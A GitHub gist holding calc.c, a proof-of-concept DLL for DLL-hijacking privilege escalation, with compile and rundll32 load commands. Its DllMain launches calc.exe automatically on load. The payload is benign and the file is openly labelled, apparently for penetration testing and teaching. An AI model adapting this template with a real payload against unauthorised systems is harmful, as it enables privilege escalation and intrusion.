Skip to content

Instantly share code, notes, and snippets.

@egre55
Created July 31, 2018 15:35
Show Gist options
  • Save egre55/d98be6b5492717877c391dd39fccd9de to your computer and use it in GitHub Desktop.
Save egre55/d98be6b5492717877c391dd39fccd9de to your computer and use it in GitHub Desktop.
calc.c (calc.dll) by Holly Graceful @HollyGraceful
/*
cl.exe /LD calc.c
rundll32 shell32.dll,Control_RunDLL C:\Users\%username%\Desktop\calc.dll
calc.c by @HollyGraceful
https://www.gracefulsecurity.com/privesc-dll-hijacking/
*/
#include <windows.h>
int fireLazor()
{
WinExec("calc.exe", 0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
fireLazor();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment